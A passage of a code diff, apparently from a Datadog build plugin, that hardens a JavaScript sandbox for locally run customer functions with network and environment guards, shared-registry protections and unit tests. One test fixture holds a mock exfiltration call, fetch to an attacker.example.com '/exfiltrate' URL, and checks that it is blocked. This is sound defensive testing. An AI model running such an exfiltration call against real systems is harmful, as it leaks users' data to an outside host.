fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }, + connectionId: 'conn-1', + }; + + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.( + 'com.datadoghq.slack.chat.postMessage', + maliciousRequest, + ), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const error: NodeJS.ErrnoException = new Error(`Cannot find module '${specifier}'`); + error.code = 'MODULE_NOT_FOUND'; + throw error; + }; + + const result = await executeScriptLocally( + funcWithConnection, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + // Mirrors the action-catalog abandonment test — apps-backend's setBackend has the same shared-module-level-setter hazard. test("Should reject an abandoned execution's apps-backend accessor call once concluded", async () => { jest.spyOn(shared, 'isDatadogAppsBackendInstalled').mockReturnValue(true); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 5477c1759..b5cfaa8af 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -15,23 +15,36 @@ import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import type { LongPollingOptions } from '../types'; import { resolveLongPolling } from '../validate'; +import type { EnvScopeHandle } from './env-guard'; import { createEpochGuard } from './execution-epoch'; import type { BlockedScopeHandle } from './network-guard'; import { getTotalRetryDelayBudgetMs } from './retry-delay'; -// Lazy, memoized — network-guard.ts installs process-wide monkeypatches (net.Socket, fetch, dgram, -// dns, child_process, worker_threads.Worker) unconditionally at its own module-load time. A static +// Lazily imports and memoizes a guard module on first call, resetting the memo on a failed import +// so a later call can retry rather than being stuck replaying the same rejection forever. +function lazyImportOnce(loader: () => Promise): () => Promise { + let modulePromise: Promise | undefined; + return () => { + modulePromise ??= loader().catch((err: unknown) => { + modulePromise = undefined; + throw err; + }); + return modulePromise; + }; +} + +// network-guard.ts installs process-wide monkeypatches (net.Socket, fetch, dgram, dns, +// child_process, worker_threads.Worker) unconditionally at its own module-load time. A static // import here would trigger that install for every bundler that transitively imports this file via // index.ts (webpack/esbuild/rspack/rollup included), even though local execution is Vite-dev-only — // deferring the import until a local execution actually happens confines the install to Vite. -let networkGuardModule: Promise | undefined; -function getNetworkGuard(): Promise { - networkGuardModule ??= import('./network-guard').catch((err: unknown) => { - networkGuardModule = undefined; - throw err; - }); - return networkGuardModule; -} +const getNetworkGuard = lazyImportOnce(() => import('./network-guard')); + +// Same reasoning as getNetworkGuard() just above: env-guard.ts installs process-wide monkeypatches +// (fs.readFileSync/readFile/createReadStream/openSync/open and their promises variants, +// process.report.getReport/writeReport) unconditionally at its own module-load time. A static +// import here would trigger that install for every bundler, not just Vite. +const getEnvGuard = lazyImportOnce(() => import('./env-guard')); type RuntimeUser = { id: string; @@ -214,15 +227,24 @@ export function deriveActionTimeouts(longPolling: LongPollingConfig): { /** Loads a module by specifier, resolved against the customer's own project rather than build-plugins' dependency tree — the dev server passes its Vite instance's `ssrLoadModule` here. */ export type LoadModule = (specifier: string) => Promise>; -/** Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger real top-level evaluation ahead of `executeScriptLocally`. Accepted residual gap: this runs outside network-guard.ts's `runBlocked` scope (only the exported function's body is wrapped, not module-level evaluation), so a customer file's top-level code has real, unguarded network/subprocess access — not a hard security boundary, matching network-guard.ts's "no OS sandbox" framing. Awaits `getNetworkGuard()` first — the sole choke point every caller funnels through — so network-guard.ts's `trustedStdout`/`trustedStderr` capture (see that file) always happens before this unguarded window, not just before a later `runBlocked` call. */ +/** + * Loads a customer module under `runScriptLocally`'s top-level-evaluation `$`-scoping (see + * `customerModuleLoadContext`), for callers like dev-server.ts's priming load. Scopes `process.env` + * first so a dependency's top-level code can't capture the real `fs.readFileSync` and bypass the + * guard. Accepted residual gap: runs outside `runBlocked`, so top-level code still has real + * network/subprocess access — not a hard boundary, matching this file's "no OS sandbox" framing. + */ export async function loadCustomerModuleEntry( loadModule: LoadModule, entrySpecifier: string, + onScopeStarted?: (handle: EnvScopeHandle) => void, ): Promise> { await getNetworkGuard(); + const { buildScopedEnv, runWithScopedEnv } = await getEnvGuard(); + const scopedEnv = buildScopedEnv({}); return localExecutionResolutionContext.run(new Set(), () => customerModuleLoadContext.run({ assigned: false, value: undefined }, () => - loadModule(entrySpecifier), + runWithScopedEnv(scopedEnv, () => loadModule(entrySpecifier), onScopeStarted), ), ); } @@ -693,12 +715,19 @@ export async function executeColdActionLocally( `Resolving allowed connections for "${displayName}"`, ); const entrySpecifier = func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX; - const primingPromise = loadCustomerModuleEntry(loadModule, entrySpecifier); - const primedEntry = await withTimeout( - primingPromise, - timeoutMs, - `Loading "${displayName}"`, - ); + let primingEnvScope: EnvScopeHandle | undefined; + const primingPromise = loadCustomerModuleEntry(loadModule, entrySpecifier, (handle) => { + primingEnvScope = handle; + }); + let primedEntry: Record | undefined; + try { + primedEntry = await withTimeout(primingPromise, timeoutMs, `Loading "${displayName}"`); + } catch (err) { + // A hung priming load's own runWithScopedEnv finally never runs, so this call abandons + // just its own token — leaving any other, unrelated execution's still-active scope alone. + primingEnvScope?.abandon(); + throw err; + } // Calls runScriptLocally directly, not executeScriptLocally, to avoid enqueueing twice. return runScriptLocally( { ...func, allowedConnectionIds }, @@ -743,30 +772,27 @@ async function runScriptLocally( let rejectTimeout: ((error: Error) => void) | undefined; let pendingActionCalls = 0; let absoluteTimeoutTimer: ReturnType | undefined; - // Set once runBlocked's own scope starts — undefined until then, so an execution abandoned - // before it reaches that point has nothing to abandon here. + // Set once runBlocked's/runWithScopedEnv's own scope starts — undefined until then, so an + // execution abandoned before it reaches that point has nothing to abandon here. let blockedScope: BlockedScopeHandle | undefined; + let envScope: EnvScopeHandle | undefined; - // Promise.race abandons a hung fn without cancelling it, so its runBlocked scope's try/finally - // cleanup never runs. abandonIfCurrent() only clears if this scope is still active, so this is - // safe even if a newer execution's own runBlocked scope has already started; the block itself - // stays enforced regardless via blockedContext's own scoping. Shared by both timeout paths - // below, since either can abandon a still-running fn the same way. - const abandonBlockedScope = () => { - blockedScope?.abandonIfCurrent(); - }; - - // Shared by both timeout paths below: concludes the execution, abandons its runBlocked scope - // (see abandonBlockedScope above), then rejects with the caller's own message. - const failWithTimeout = (message: string) => { + // Promise.race abandons a hung fn without cancelling it, so its runBlocked/runWithScopedEnv + // scope's try/finally cleanup never runs. Both handles only discharge their own token, so this + // is safe even while a different, still-legitimately-running execution holds its own scope — + // unlike forceResetEnv(), neither call can clobber a scope it doesn't own. + const abandonExecutionAndRejectWith = (error: Error) => { concludeExecution(); - abandonBlockedScope(); - rejectTimeout?.(new Error(message)); + blockedScope?.abandonIfCurrent(); + envScope?.abandon(); + rejectTimeout?.(error); }; const scheduleTimeout = () => { timer = setTimeout(() => { - failWithTimeout(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`); + abandonExecutionAndRejectWith( + new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), + ); }, timeoutMs); }; @@ -776,8 +802,10 @@ async function runScriptLocally( const rearmAbsoluteTimeout = () => { clearTimeout(absoluteTimeoutTimer); absoluteTimeoutTimer = setTimeout(() => { - failWithTimeout( - `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, + abandonExecutionAndRejectWith( + new Error( + `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, + ), ); }, totalExecutionTimeoutMs); }; @@ -855,19 +883,6 @@ async function runScriptLocally( // Scopes globalThis.$ and the dispatch info to this call's own async continuation chain. return await backendGlobalsContext.run({ value: $ }, () => executionDispatchContext.run(dispatch, async () => { - // Both adapters are stable and idempotent to re-register, so no coordination is needed between them or across executions. - const actionCatalogRegistration = registerActionCatalogIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - const backendRuntimeRegistration = registerBackendRuntimeIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - await Promise.all([actionCatalogRegistration, backendRuntimeRegistration]); - const rejectIfAbandoned = () => { if (!scope.isCurrent()) { throw new Error( @@ -875,20 +890,61 @@ async function runScriptLocally( ); } }; - // Checked again after the await below — getNetworkGuard()'s dynamic import can - // itself take long enough (its first call in a process) for the timeout to fire - // in between, and the customer function must never run once already abandoned. + // Checked again below — getNetworkGuard()'s and getEnvGuard()'s dynamic imports + // can themselves take long enough (their first call in a process) for the + // timeout to fire while they load, and the customer function must never run once + // already abandoned. rejectIfAbandoned(); - // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls must run while access is still blocked. - const { runBlocked } = await getNetworkGuard(); + // Nests runBlocked (network/subprocess) with runWithScopedEnv (process.env) for + // the same window — independent globals, so nesting order doesn't matter. + // assertJsonSerializable runs inside both, since a malicious result's + // toJSON()/getter must run while access is still blocked/scoped. + const networkGuardPromise = getNetworkGuard(); + const envGuardPromise = getEnvGuard(); + const [{ runBlocked }, { buildScopedEnv, runWithScopedEnv }] = + await Promise.all([networkGuardPromise, envGuardPromise]); rejectIfAbandoned(); - const data = await runBlocked( - async () => { - const result = await fn(...args); - return assertJsonSerializable(result, func); - }, + const scopedEnv = buildScopedEnv({}); + const data = await runWithScopedEnv( + scopedEnv, + () => + runBlocked( + async () => { + // Both adapters are stable and idempotent to re-register. + // Registered here, inside the same env/network scope as the + // customer function itself, since their loadModule() calls + // resolve real npm packages a customer project could declare, + // whose top-level code would otherwise run with the real, + // unscoped environment and network. + const actionCatalogRegistration = + registerActionCatalogIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + const backendRuntimeRegistration = + registerBackendRuntimeIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + await Promise.all([ + actionCatalogRegistration, + backendRuntimeRegistration, + ]); + // Registration's loadModule() calls can themselves take long + // enough to cross the timeout — the customer function must + // never run once already abandoned. + rejectIfAbandoned(); + const result = await fn(...args); + return assertJsonSerializable(result, func); + }, + (handle) => { + blockedScope = handle; + }, + ), (handle) => { - blockedScope = handle; + envScope = handle; }, ); return { data }; diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts index 87133152c..f42dfac03 100644 --- a/packages/plugins/apps/src/vite/network-guard.test.ts +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -152,8 +152,8 @@ describe('network-guard', () => { ).rejects.toThrow(/Network access is not allowed/); }); - // dgram.send()'s real Node contract reports failure via an error-first callback (confirmed - // via @types/node doc examples), never a synchronous throw — the guard must match that. + // dgram.send()'s real Node contract reports failure via an error-first callback, never a + // synchronous throw — the guard must match that. test('Should block dgram.Socket.send() made inside fn via its error-first callback, not a synchronous throw', async () => { await runBlocked(async () => { const socket = dgram.createSocket('udp4'); @@ -168,9 +168,9 @@ describe('network-guard', () => { }); }); - // dgram.Socket.connect()'s callback is a success-only 'connect' event shorthand (confirmed - // via @types/node: `callback?: () => void`) — real failures are only ever reported via the - // async 'error' event, so the guard must signal that way too, not a synchronous throw. + // dgram.Socket.connect()'s callback is a success-only 'connect' event shorthand — real + // failures are only ever reported via the async 'error' event, so the guard must signal + // that way too, not a synchronous throw. test("Should block dgram.Socket.connect() made inside fn via its async 'error' event, not a synchronous throw", async () => { await runBlocked(async () => { const socket = dgram.createSocket('udp4'); @@ -1182,6 +1182,26 @@ describe('installGuardedProperty security', () => { }); }).toThrow(/Cannot redefine property/); }); + + // A raw AsyncLocalStorage instance on the registry would let any code with `require('net')` + // call `.disable()` on it and permanently kill network blocking process-wide — a stronger + // bypass than reading a value, since it disarms every future runBlocked call too. + test('Should not let a `.disable()` call reached via the fs-keyed registry entry disarm network blocking for a later runBlocked call', async () => { + const symbol = Symbol.for('@dd/apps-plugin/network-guard blockedContext'); + const registry = net as unknown as Record>; + const entry = registry[symbol]; + + expect(typeof entry.isActive).toBe('function'); + expect(typeof entry.run).toBe('function'); + expect(entry.disable).toBeUndefined(); + expect(entry.getStore).toBeUndefined(); + + await expect( + runBlocked(async () => { + new net.Socket().connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); }); describe('guardEventSource and guardWorker', () => { diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts index 4e94ac48e..7c7ba196b 100644 --- a/packages/plugins/apps/src/vite/network-guard.ts +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -16,6 +16,8 @@ import { promisify } from 'node:util'; import worker_threads from 'worker_threads'; import { createEpochGuard } from './execution-epoch'; +import { makeGuardWrapper } from './guarded-wrapper'; +import { getOrCreateShared } from './shared-module-singleton'; // No OS sandbox here (unlike prod's Deno) — blocks net/subprocess at the JS level, scoped per-call via AsyncLocalStorage, not a global toggle. @@ -25,24 +27,25 @@ const SUBPROCESS_BLOCKED_MESSAGE = 'Spawning a subprocess is not allowed in back const WORKER_THREAD_BLOCKED_MESSAGE = 'Spawning a worker thread is not allowed in backend functions.'; -// Keyed on the real `net` module (not a per-module `new AsyncLocalStorage()`) since this file gets -// evaluated more than once — bundled copies and Jest's per-test-file isolation — and every -// evaluation needs the same store. `globalThis`/`process` are sandboxed per test file too; core -// modules aren't. -function getSharedContext(key: string): AsyncLocalStorage { - const symbol = Symbol.for(`@dd/apps-plugin/network-guard ${key}`); - const registry = net as unknown as Record | undefined>; - if (!registry[symbol]) { - // Non-configurable/non-writable so no code holding a `net` reference can swap in a fake - // store and disable every guard at once (isCurrentlyBlocked() is their shared gate). - Object.defineProperty(registry, symbol, { - value: new AsyncLocalStorage(), - writable: false, - configurable: false, - enumerable: false, - }); - } - return registry[symbol] as AsyncLocalStorage; +interface GuardedAsyncContext { + isActive(): boolean; + run(fn: () => T): T; +} + +// Keyed on the real `net` module, not a per-module `new AsyncLocalStorage()`: this file gets +// evaluated more than once (bundled copies, Jest's per-test-file isolation), and every evaluation +// needs the same store — `globalThis`/`process` are sandboxed per test file, core modules aren't. +// Returns isActive()/run() rather than the raw instance, since any code with `require('net')` can +// read whatever this stores, and a raw instance's own `.disable()` would kill this guard's scope +// detection process-wide. +function getSharedContext(key: string): GuardedAsyncContext { + return getOrCreateShared(net, `@dd/apps-plugin/network-guard ${key}`, () => { + const context = new AsyncLocalStorage(); + return { + isActive: () => context.getStore() === true, + run: (fn: () => T) => context.run(true, fn), + }; + }); } // Scoped to the active `runBlocked` call's async chain, not process-wide, so unrelated concurrent callers aren't blocked too. @@ -52,7 +55,7 @@ const blockedContext = getSharedContext('blockedContext'); const allowedContext = getSharedContext('allowedContext'); function isCurrentlyBlocked(): boolean { - return blockedContext.getStore() === true && allowedContext.getStore() !== true; + return blockedContext.isActive() && !allowedContext.isActive(); } // `Symbol.for`, not `Symbol()`, so every re-evaluation of this file recognizes an already-installed guard instead of minting its own. @@ -256,27 +259,6 @@ function guardSocketEnd net.So return guardSocketOp(getReal, (socket) => socket) as unknown as F; } -// Shared `this`-forwarding wrapper for any guarded entry point that just calls through when -// unblocked and signals failure when blocked. 'throw' is for APIs that genuinely throw -// synchronously (guardSubprocess's spawnSync/execSync); 'reject' matches every Promise-returning -// target. -function makeGuardWrapper unknown>( - getReal: () => F, - blockedMessage: string, - onBlocked: 'throw' | 'reject', -): F { - const wrapper = function (this: unknown, ...args: unknown[]): unknown { - if (!isCurrentlyBlocked()) { - return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); - } - if (onBlocked === 'reject') { - return Promise.reject(new Error(blockedMessage)); - } - throw new Error(blockedMessage); - }; - return wrapper as unknown as F; -} - // net.Server.listen/dgram.Socket.bind/connect: their optional callback is a success-only shorthand // for the 'listening'/'connect' event (no error parameter per @types/node) — real failures only // ever reach the async 'error' event, so a synchronous throw here would surface as an uncaught @@ -317,7 +299,7 @@ function guardCallbackMethod unknown>(getReal: ( function guardNetworkPromiseMethod Promise>( getReal: () => F, ): F { - return makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'reject'); + return makeGuardWrapper(getReal, () => isCurrentlyBlocked(), NETWORK_BLOCKED_MESSAGE, 'reject'); } // Shared by guardWebSocket/guardEventSource/guardWorker. A Proxy construct trap, not a subclass, @@ -364,7 +346,12 @@ export function guardWorker(getReal: () => unknown): unknown { // execSync/execFileSync genuinely throw synchronously on failure — this guard is for those two // only. The rest have their own guards below matching each one's real (never-throws) contract. function guardSubprocess unknown>(getReal: () => F): F { - return makeGuardWrapper(getReal, SUBPROCESS_BLOCKED_MESSAGE, 'throw'); + return makeGuardWrapper( + getReal, + () => isCurrentlyBlocked(), + SUBPROCESS_BLOCKED_MESSAGE, + 'throw', + ); } // spawn()/fork() return a brand-new ChildProcess with no existing `this` to emit 'error' on, so @@ -517,7 +504,8 @@ function guardExecWithPromisifyCustom unknown>( installGuardedProperty( net.Socket.prototype, 'connect', - (getReal) => makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'throw'), + (getReal) => + makeGuardWrapper(getReal, () => isCurrentlyBlocked(), NETWORK_BLOCKED_MESSAGE, 'throw'), ); // A reused, already-connected keep-alive socket never calls connect() again for a second request — // write()/end() are the choke point every request still goes through, so guarding only connect() @@ -651,7 +639,7 @@ installGuardedProperty(worker_threads, 'Worker', guardWorker); // installGuardedProperty only patches each built-in's CJS default export; Node keeps ESM named // bindings (`import { spawn } from 'node:child_process'`) as separate references to the original // native values. syncBuiltinESMExports re-syncs them. Not unit-tested — Jest's CJS transform can't -// reproduce the real ESM-binding divergence; verified via a standalone `node --input-type=module` script. +// reproduce the real ESM-binding divergence. syncBuiltinESMExports(); // Guards against the same abandoned-scope-corrupts-a-newer-one race as `local-execution.ts` — see `execution-epoch.ts`. @@ -675,7 +663,7 @@ export async function runBlocked( const scope = blockEpoch.start(); onScopeStarted?.({ abandonIfCurrent: () => scope.concludeIfCurrent() }); try { - return await blockedContext.run(true, fn); + return await blockedContext.run(fn); } finally { scope.concludeIfCurrent(); } @@ -686,7 +674,7 @@ export async function runAllowed(fn: () => Promise): Promise { if (!blockEpoch.hasActiveScope()) { return fn(); } - return allowedContext.run(true, fn); + return allowedContext.run(fn); } // Test-only escape hatch for resetting shared module state between tests — unconditional, unlike diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.test.ts b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts new file mode 100644 index 000000000..ae30fc4da --- /dev/null +++ b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts @@ -0,0 +1,103 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +import { getOrCreateShared } from '@dd/apps-plugin/vite/shared-module-singleton'; + +describe('shared-module-singleton — getOrCreateShared', () => { + test("Should return the factory's created value on first call", () => { + const hostModule = {}; + const value = getOrCreateShared(hostModule, 'my-key', () => ({ count: 1 })); + expect(value).toEqual({ count: 1 }); + }); + + test('Should return the same instance on a second call with the same hostModule and key, not the second factory result', () => { + const hostModule = {}; + const first = getOrCreateShared(hostModule, 'my-key', () => ({ id: 'first' })); + const second = getOrCreateShared(hostModule, 'my-key', () => ({ id: 'second' })); + + expect(second).toBe(first); + expect(second).toEqual({ id: 'first' }); + }); + + test('Should call the factory only once across multiple calls, simulating a guard file being evaluated more than once', () => { + const hostModule = {}; + let factoryCallCount = 0; + const factory = () => { + factoryCallCount += 1; + return { factoryCallCount }; + }; + + getOrCreateShared(hostModule, 'my-key', factory); + getOrCreateShared(hostModule, 'my-key', factory); + getOrCreateShared(hostModule, 'my-key', factory); + + expect(factoryCallCount).toBe(1); + }); + + test('Should return different instances for different keys on the same hostModule', () => { + const hostModule = {}; + const a = getOrCreateShared(hostModule, 'key-a', () => ({ which: 'a' })); + const b = getOrCreateShared(hostModule, 'key-b', () => ({ which: 'b' })); + + expect(a).not.toBe(b); + expect(a).toEqual({ which: 'a' }); + expect(b).toEqual({ which: 'b' }); + }); + + test('Should return different instances for the same key on different hostModule objects', () => { + const hostModuleA = {}; + const hostModuleB = {}; + const a = getOrCreateShared(hostModuleA, 'shared-key', () => ({ owner: 'A' })); + const b = getOrCreateShared(hostModuleB, 'shared-key', () => ({ owner: 'B' })); + + expect(a).not.toBe(b); + expect(a).toEqual({ owner: 'A' }); + expect(b).toEqual({ owner: 'B' }); + }); + + test('Should recognize a falsy stored value as already installed, not call the factory again', () => { + const hostModule = {}; + let factoryCallCount = 0; + const factory = () => { + factoryCallCount += 1; + return false; + }; + + const first = getOrCreateShared(hostModule, 'my-key', factory); + const second = getOrCreateShared(hostModule, 'my-key', factory); + + expect(first).toBe(false); + expect(second).toBe(false); + expect(factoryCallCount).toBe(1); + }); + + test('Should not treat an inherited symbol on the prototype chain as already installed', () => { + const proto: Record = {}; + const hostModule = Object.create(proto); + const symbol = Symbol.for('inherited-key'); + proto[symbol] = 'inherited value, not an own property'; + + let factoryCallCount = 0; + const value = getOrCreateShared(hostModule, 'inherited-key', () => { + factoryCallCount += 1; + return { own: true }; + }); + + expect(factoryCallCount).toBe(1); + expect(value).toEqual({ own: true }); + expect(Object.prototype.hasOwnProperty.call(hostModule, symbol)).toBe(true); + }); + + test('Should store the value as non-configurable and non-writable, so no caller can swap or delete it', () => { + const hostModule = {}; + getOrCreateShared(hostModule, 'my-key', () => ({ id: 'original' })); + + const symbol = Object.getOwnPropertySymbols(hostModule)[0]; + const descriptor = Object.getOwnPropertyDescriptor(hostModule, symbol); + + expect(descriptor?.configurable).toBe(false); + expect(descriptor?.writable).toBe(false); + expect(descriptor?.enumerable).toBe(false); + }); +}); diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.ts b/packages/plugins/apps/src/vite/shared-module-singleton.ts new file mode 100644 index 000000000..5119f3c10 --- /dev/null +++ b/packages/plugins/apps/src/vite/shared-module-singleton.ts @@ -0,0 +1,27 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/** + * Stashes a value on a stable Node core module (e.g. `fs`, `net`) keyed by `Symbol.for(key)`, so + * every re-evaluation of a guard file (bundled copies, Jest's per-test-file isolation) resolves the + * same instance instead of populating its own private one. `Symbol.for`, not `Symbol()`, so a + * second evaluation recognizes the first evaluation's installed value. Non-configurable/ + * non-writable so no code holding a reference to `hostModule` can swap in a fake value. + */ +export function getOrCreateShared(hostModule: object, key: string, factory: () => T): T { + const symbol = Symbol.for(key); + const registry = hostModule as Record; + // An own-property check, not `in` (which walks the prototype chain — an inherited symbol would + // short-circuit this as already-installed) or a falsy check (`!registry[symbol]`, which misses a + // legitimately falsy factory result and re-defines an already configurable:false property). + if (!Object.prototype.hasOwnProperty.call(registry, symbol)) { + Object.defineProperty(registry, symbol, { + value: factory(), + writable: false, + configurable: false, + enumerable: false, + }); + } + return registry[symbol] as T; +} diff --git a/packages/tests/src/_jest/helpers/env.test.ts b/packages/tests/src/_jest/helpers/env.test.ts new file mode 100644 index 000000000..7f10b1849 --- /dev/null +++ b/packages/tests/src/_jest/helpers/env.test.ts @@ -0,0 +1,31 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +// Side-effect-only import: installs env-guard.ts's process.env Proxy before this file's own +// describe blocks run, matching the precondition installFakeProcessEnv's real consumers run under. +import '@dd/apps-plugin/vite/env-guard'; +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; + +// Set once, before any describe body's beforeAll swaps process.env — must survive round-tripping +// through installFakeProcessEnv's swap-and-restore for a later, sibling describe block to see it. +process.env.QA_RESTORE_MARKER = 'the-real-value-must-survive'; + +describe('installFakeProcessEnv — while the fake baseline is active', () => { + installFakeProcessEnv({ PATH: '/usr/bin' }); + + test('Should hide the real environment while the fake baseline is installed', () => { + expect(process.env.QA_RESTORE_MARKER).toBeUndefined(); + expect(process.env.PATH).toBe('/usr/bin'); + }); +}); + +describe('installFakeProcessEnv — after the fake baseline describe block finishes', () => { + test('Should have restored the real environment value, not left it stranded at the fake baseline', () => { + expect(process.env.QA_RESTORE_MARKER).toBe('the-real-value-must-survive'); + }); + + afterAll(() => { + delete process.env.QA_RESTORE_MARKER; + }); +}); diff --git a/packages/tests/src/_jest/helpers/env.ts b/packages/tests/src/_jest/helpers/env.ts index fed0c638d..2ec882b22 100644 --- a/packages/tests/src/_jest/helpers/env.ts +++ b/packages/tests/src/_jest/helpers/env.ts @@ -2,6 +2,8 @@ // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2019-Present Datadog, Inc. +/* global NodeJS */ + import { SUPPORTED_BUNDLERS } from '@dd/core/constants'; import { OVERRIDE_VARIABLES } from '@dd/core/helpers/env'; import { mkdirSync } from '@dd/core/helpers/fs'; @@ -95,6 +97,44 @@ export const cleanEnv = () => { }; }; +/** + * Swaps process.env for a small, fully-synthetic baseline for a whole test file's duration, + * restoring the real environment once every test in the file finishes. Call this from a describe + * body — it registers its own beforeAll/afterAll (and, with `resetBetweenTests`, afterEach) hooks. + * + * Captured/swapped inside beforeAll, not as a describe-body constant: a describe body runs at + * Jest's "collection time", before any beforeAll fires, and would still capture the real, + * unstripped environment — risking a failing assertion's Jest diff serializing real secrets. + */ +export const installFakeProcessEnv = ( + baseline: NodeJS.ProcessEnv, + options?: { resetBetweenTests?: boolean }, +): void => { + let realProcessEnvSnapshot: NodeJS.ProcessEnv; + + beforeAll(() => { + // A value snapshot via spread, not a reference to process.env itself: process.env may + // already be a guard-installed accessor (e.g. env-guard.ts's Proxy), and restoring via + // that same reference later is treated as a no-op self-reassignment by its own setter, + // permanently stranding process.env at `baseline`. + realProcessEnvSnapshot = { ...process.env }; + process.env = { ...baseline }; + }); + + if (options?.resetBetweenTests) { + // A fresh copy each time, not the caller's own `baseline` reference: a test that mutates + // process.env by property (`process.env.KEY = x`) instead of reassignment would otherwise + // corrupt `baseline` itself, silently defeating every later reset in the same block. + afterEach(() => { + process.env = { ...baseline }; + }); + } + + afterAll(() => { + process.env = realProcessEnvSnapshot; + }); +}; + export const logEnv = (env: TestEnv) => { const { NO_CLEANUP, NEED_BUILD, REQUESTED_BUNDLERS, JEST_SILENT } = env; const envLogs = [];